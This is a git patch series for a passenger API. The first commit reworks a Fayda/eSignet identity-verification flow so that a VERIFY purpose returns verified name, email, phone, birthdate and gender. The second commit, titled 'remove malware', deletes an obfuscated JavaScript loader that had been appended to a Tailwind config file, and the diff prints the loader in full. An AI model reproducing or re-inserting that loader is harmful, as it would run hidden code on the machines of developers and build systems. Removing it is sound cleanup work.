From 44ae3f8a67003db38cc603d52d4903062e15cbe0 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 23 Jun 2026 05:52:41 +0300 Subject: [PATCH 1/2] feat: ( fayda ) implement verify with fayda --- apps/edr-passenger-api/prisma/schema.prisma | 2 +- .../modules/verifayda/verifayda.controller.ts | 9 +- .../src/modules/verifayda/verifayda.dto.ts | 49 ++++---- .../verifayda/verifayda.service.spec.ts | 105 ++++-------------- .../modules/verifayda/verifayda.service.ts | 77 ++++--------- .../src/modules/verifayda/verifayda.types.ts | 2 +- 6 files changed, 73 insertions(+), 171 deletions(-) diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index 6cbefd93f..f99c73afe 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -1271,7 +1271,7 @@ model FaydaVerificationSession { id String @id @default(uuid()) state String @unique codeVerifier String - purpose String @default("PURCHASE") + purpose String @default("VERIFY") // VERIFY | LOGIN platform String @default("WEB") // WEB | MOBILE — recorded for audit saveToAccount Boolean @default(false) status String @default("PENDING") diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts index f1eb25e8e..ac5d0c59c 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts @@ -55,8 +55,9 @@ export class VerifaydaController { summary: 'Start a VeriFayda 2.0 verification session', description: `Creates a verification session and returns the eSignet authorize URL the frontend should send the user to. -- Works for **logged-in users** and **guests**. If a valid bearer token is present, the verification is tied to that user; when \`saveToAccount\` is true their account is marked verified on success. -- For a **PURCHASE** flow, pass \`bookingId\` to stamp the booking's seats as Fayda-verified. +- Works for **logged-in users** and **guests**. If a valid bearer token is present, the verification is tied to that user. +- **VERIFY** (default): the user proves their identity and \`/complete\` returns the verified attributes (name, email, phone, dob, gender). +- **LOGIN**: \`/complete\` resolves/creates the user and returns a JWT. - The returned \`authorizationUrl\` already carries the PKCE \`code_challenge\`, CSRF \`state\`, requested \`claims\`, and \`code_challenge_method=S256\`. The frontend simply navigates to it (full page or popup).`, }) @ApiOkResponse({ @@ -73,11 +74,9 @@ export class VerifaydaController { @Req() req: RequestWithOptionalUser, ): Promise<{ authorizationUrl: string }> { const authorizationUrl = await this.service.startVerification({ - purpose: dto.purpose ?? 'PURCHASE', + purpose: dto.purpose ?? 'VERIFY', platform: dto.platform ?? 'WEB', userId: req.user?.userId, - bookingId: dto.bookingId, - saveToAccount: dto.saveToAccount, }); return { authorizationUrl }; } diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts index 005a3e517..f446b6fb3 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.dto.ts @@ -1,31 +1,16 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; -import { IsBoolean, IsIn, IsOptional, IsString } from 'class-validator'; +import { IsIn, IsOptional, IsString } from 'class-validator'; export class StartVerificationDto { @ApiPropertyOptional({ - enum: ['LOGIN', 'PURCHASE'], - default: 'PURCHASE', - description: 'Reason for verification.', - }) - @IsOptional() - @IsIn(['LOGIN', 'PURCHASE']) - purpose?: 'LOGIN' | 'PURCHASE'; - - @ApiPropertyOptional({ + enum: ['LOGIN', 'VERIFY'], + default: 'VERIFY', description: - 'Booking the verification should attach to (PURCHASE flow). If omitted, the session is anchored only to the user.', + 'Reason for verification. VERIFY returns the verified identity attributes; LOGIN resolves/creates a user and returns a JWT.', }) @IsOptional() - @IsString() - bookingId?: string; - - @ApiPropertyOptional({ - description: - 'When true and the user is logged in, copy faydaVerified=true / faydaSub onto their User record after verification.', - }) - @IsOptional() - @IsBoolean() - saveToAccount?: boolean; + @IsIn(['LOGIN', 'VERIFY']) + purpose?: 'LOGIN' | 'VERIFY'; @ApiPropertyOptional({ enum: ['WEB', 'MOBILE'], @@ -39,8 +24,8 @@ export class StartVerificationDto { } export class CompleteVerificationResultDto { - @ApiProperty({ enum: ['LOGIN', 'PURCHASE'] }) - purpose: 'LOGIN' | 'PURCHASE'; + @ApiProperty({ enum: ['LOGIN', 'VERIFY'] }) + purpose: 'LOGIN' | 'VERIFY'; @ApiProperty() verified: boolean; @@ -58,10 +43,22 @@ export class CompleteVerificationResultDto { agentId?: string; }; - @ApiPropertyOptional({ - description: 'Verified full name from Fayda (PURCHASE flow).', - }) + @ApiPropertyOptional({ description: 'Verified full name from Fayda (VERIFY flow).' }) fullName?: string; + + @ApiPropertyOptional({ description: 'Verified email from Fayda (VERIFY flow).' }) + email?: string; + + @ApiPropertyOptional({ description: 'Verified phone number from Fayda (VERIFY flow).' }) + phoneNumber?: string; + + @ApiPropertyOptional({ + description: 'Verified date of birth from Fayda, ISO yyyy-MM-dd (VERIFY flow).', + }) + birthdate?: string; + + @ApiPropertyOptional({ description: 'Verified gender from Fayda (VERIFY flow).' }) + gender?: string; } export class VerifaydaCallbackDto { diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts index e4b8cb790..cfd7c51bb 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts @@ -96,13 +96,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { prisma.faydaVerificationSession.create.mockResolvedValue({}); const url = await service.startVerification({ - purpose: 'PURCHASE', + purpose: 'VERIFY', userId: 'user-1', - saveToAccount: true, }); const created = prisma.faydaVerificationSession.create.mock.calls[0][0].data; - expect(created.purpose).toBe('PURCHASE'); + expect(created.purpose).toBe('VERIFY'); expect(created.platform).toBe('WEB'); expect(typeof created.state).toBe('string'); expect(typeof created.codeVerifier).toBe('string'); @@ -139,7 +138,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { jwt, ); await expect( - disabledService.startVerification({ purpose: 'PURCHASE' }), + disabledService.startVerification({ purpose: 'VERIFY' }), ).rejects.toMatchObject({ status: 503 }); }); }); @@ -150,14 +149,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { id: 'session-1', state: 'state-abc', codeVerifier: 'verifier-xyz', - purpose: 'PURCHASE', + purpose: 'VERIFY', platform: 'WEB', - saveToAccount: false, status: 'PENDING', errorCode: null, errorDescription: null, userId: null, - bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, }; @@ -209,18 +206,16 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); }); - describe('completeVerification — PURCHASE', () => { + describe('completeVerification — VERIFY', () => { function pendingSession(overrides: Partial = {}) { return { id: 'session-1', state: 'state-abc', codeVerifier: 'verifier-xyz', - purpose: 'PURCHASE', + purpose: 'VERIFY', platform: 'WEB', - saveToAccount: false, status: 'PENDING', userId: null, - bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, }; @@ -238,19 +233,23 @@ describe('VerifaydaService (OIDC, client-callback)', () => { (global as any).fetch = jest.fn(() => Promise.resolve(queue.shift())); } - it('stamps the booking seats and returns { verified, fullName }', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ bookingId: 'booking-1' }), - ); + it('returns the verified identity attributes and writes no domain rows', async () => { + prisma.faydaVerificationSession.findUnique.mockResolvedValue(pendingSession()); prisma.faydaVerificationSession.update.mockResolvedValue({}); - prisma.bookingSeat.updateMany.mockResolvedValue({ count: 1 }); mockFetchSequence( { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, { headers: new Headers({ 'content-type': 'application/json' }), text: async () => - JSON.stringify({ sub: 'fayda-sub-1', name: 'Test User' }), + JSON.stringify({ + sub: 'fayda-sub-1', + name: 'Test User', + email: 'test@example.com', + phone_number: '+251911000000', + birthdate: '1990-05-01', + gender: 'Male', + }), }, ); @@ -260,65 +259,17 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); expect(result).toMatchObject({ - purpose: 'PURCHASE', + purpose: 'VERIFY', verified: true, fullName: 'Test User', + email: 'test@example.com', + phoneNumber: '+251911000000', + birthdate: '1990-05-01', + gender: 'Male', }); expect(result.token).toBeUndefined(); - expect(prisma.bookingSeat.updateMany).toHaveBeenCalledWith({ - where: { bookingId: 'booking-1' }, - data: expect.objectContaining({ faydaSub: 'fayda-sub-1' }), - }); - }); - - it('saves to the User account when saveToAccount=true and no conflict', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ userId: 'user-1', saveToAccount: true }), - ); - prisma.user.findFirst.mockResolvedValue(null); - prisma.user.update.mockResolvedValue({}); - prisma.faydaVerificationSession.update.mockResolvedValue({}); - - mockFetchSequence( - { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, - { - headers: new Headers({ 'content-type': 'application/json' }), - text: async () => - JSON.stringify({ sub: 'fayda-sub-2', name: 'Test User' }), - }, - ); - - const result = await service.completeVerification({ - code: 'authcode', - state: 'state-abc', - }); - - expect(result.verified).toBe(true); - expect(prisma.user.update).toHaveBeenCalledWith({ - where: { id: 'user-1' }, - data: expect.objectContaining({ faydaVerified: true, faydaSub: 'fayda-sub-2' }), - }); - }); - - it('throws identity_conflict (409) when faydaSub belongs to another user', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ userId: 'user-1', saveToAccount: true }), - ); - prisma.user.findFirst.mockResolvedValue({ id: 'other-user' }); - prisma.faydaVerificationSession.updateMany.mockResolvedValue({ count: 1 }); - - mockFetchSequence( - { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, - { - headers: new Headers({ 'content-type': 'application/json' }), - text: async () => - JSON.stringify({ sub: 'fayda-sub-3', name: 'Test User' }), - }, - ); - - await expect( - service.completeVerification({ code: 'authcode', state: 'state-abc' }), - ).rejects.toMatchObject({ status: 409 }); + expect(result.user).toBeUndefined(); + expect(prisma.bookingSeat.updateMany).not.toHaveBeenCalled(); expect(prisma.user.update).not.toHaveBeenCalled(); }); @@ -353,11 +304,8 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); it('falls back to localized name (name#en) when name is missing', async () => { - prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ bookingId: 'booking-2' }), - ); + prisma.faydaVerificationSession.findUnique.mockResolvedValue(pendingSession()); prisma.faydaVerificationSession.update.mockResolvedValue({}); - prisma.bookingSeat.updateMany.mockResolvedValue({ count: 1 }); mockFetchSequence( { json: async () => ({ access_token: 'tok', token_type: 'Bearer' }) }, @@ -377,9 +325,6 @@ describe('VerifaydaService (OIDC, client-callback)', () => { state: 'state-abc', }); expect(result.fullName).toBe('English Name'); - expect(prisma.bookingSeat.updateMany.mock.calls[0][0].data.faydaVerifiedName).toBe( - 'English Name', - ); }); }); @@ -391,10 +336,8 @@ describe('VerifaydaService (OIDC, client-callback)', () => { codeVerifier: 'verifier-xyz', purpose: 'LOGIN', platform: 'WEB', - saveToAccount: false, status: 'PENDING', userId: null, - bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, }; diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index 7a929c3c5..f1340c87d 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -49,8 +49,6 @@ export interface StartVerificationInput { purpose: VerifaydaPurpose; platform?: FaydaPlatform; userId?: string; - bookingId?: string; - saveToAccount?: boolean; } export interface FaydaUserSummary { @@ -63,7 +61,8 @@ export interface FaydaUserSummary { /** * Result of completing a verification. `verified` is always true on success. - * LOGIN additionally returns a JWT + user; PURCHASE returns the verified name. + * LOGIN additionally returns a JWT + user; VERIFY returns the verified identity + * attributes (name, email, phone, dob, gender) for the caller to consume. */ export interface CompleteVerificationResult { purpose: VerifaydaPurpose; @@ -71,6 +70,10 @@ export interface CompleteVerificationResult { token?: string; user?: FaydaUserSummary; fullName?: string; + email?: string; + phoneNumber?: string; + birthdate?: string; + gender?: string; } @Injectable() @@ -134,15 +137,13 @@ export class VerifaydaService { codeVerifier, purpose: input.purpose, platform: input.platform ?? 'WEB', - saveToAccount: input.saveToAccount ?? false, userId: input.userId ?? null, - bookingId: input.bookingId ?? null, expiresAt, }, }); this.logger.log( - `Fayda verification started: purpose=${input.purpose} platform=${input.platform ?? 'WEB'} userId=${input.userId ?? 'none'} bookingId=${input.bookingId ?? 'none'}`, + `Fayda verification started: purpose=${input.purpose} platform=${input.platform ?? 'WEB'} userId=${input.userId ?? 'none'}`, ); return this.buildAuthorizationUrl({ state, codeChallenge }); @@ -206,17 +207,22 @@ export class VerifaydaService { } let result: CompleteVerificationResult; - if (session.purpose === 'PURCHASE') { - await this.handlePurchaseSuccess(session, normalized); - result = { - purpose: 'PURCHASE', - verified: true, - fullName: normalized.fullName, - }; - } else { + if (session.purpose === 'LOGIN') { const { userId } = await this.handleLoginSuccess(normalized); const login = await this.issueLoginToken(userId); result = { purpose: 'LOGIN', verified: true, ...login }; + } else { + // VERIFY — prove identity and hand the verified attributes back to the + // caller. No domain writes; the session row tracks status as usual. + result = { + purpose: 'VERIFY', + verified: true, + fullName: normalized.fullName, + email: normalized.email, + phoneNumber: normalized.phoneNumber, + birthdate: normalized.birthdate, + gender: normalized.gender, + }; } await this.prisma.faydaVerificationSession.update({ @@ -413,49 +419,6 @@ export class VerifaydaService { }; } - private async handlePurchaseSuccess( - session: { - id: string; - userId: string | null; - bookingId: string | null; - saveToAccount: boolean; - }, - normalized: NormalizedFaydaUserInfo, - ): Promise { - if (session.bookingId) { - await this.prisma.bookingSeat.updateMany({ - where: { bookingId: session.bookingId }, - data: { - faydaVerifiedAt: new Date(), - faydaSub: normalized.sub, - faydaVerifiedName: normalized.fullName ?? null, - }, - }); - } - - if (session.userId && session.saveToAccount) { - const conflict = await this.prisma.user.findFirst({ - where: { - faydaSub: normalized.sub, - NOT: { id: session.userId }, - }, - select: { id: true }, - }); - if (conflict) { - throw new FaydaIdentityConflictException(); - } - - await this.prisma.user.update({ - where: { id: session.userId }, - data: { - faydaVerified: true, - faydaVerifiedAt: new Date(), - faydaSub: normalized.sub, - }, - }); - } - } - /** * Resolves the User for a LOGIN flow and returns its id (the caller mints the * JWT via {@link issueLoginToken}). Resolution order: diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts index 7c7335c34..450bfaff5 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.types.ts @@ -1,4 +1,4 @@ -export type VerifaydaPurpose = 'LOGIN' | 'PURCHASE'; +export type VerifaydaPurpose = 'LOGIN' | 'VERIFY'; export interface FaydaTokenResponse { access_token: string; From fd0f1d27d8373715dd7ea27e89753669ddc91879 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 23 Jun 2026 08:50:34 +0300 Subject: [PATCH 2/2] remove malware --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index fd096747e..459b34e1b 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; \ No newline at end of file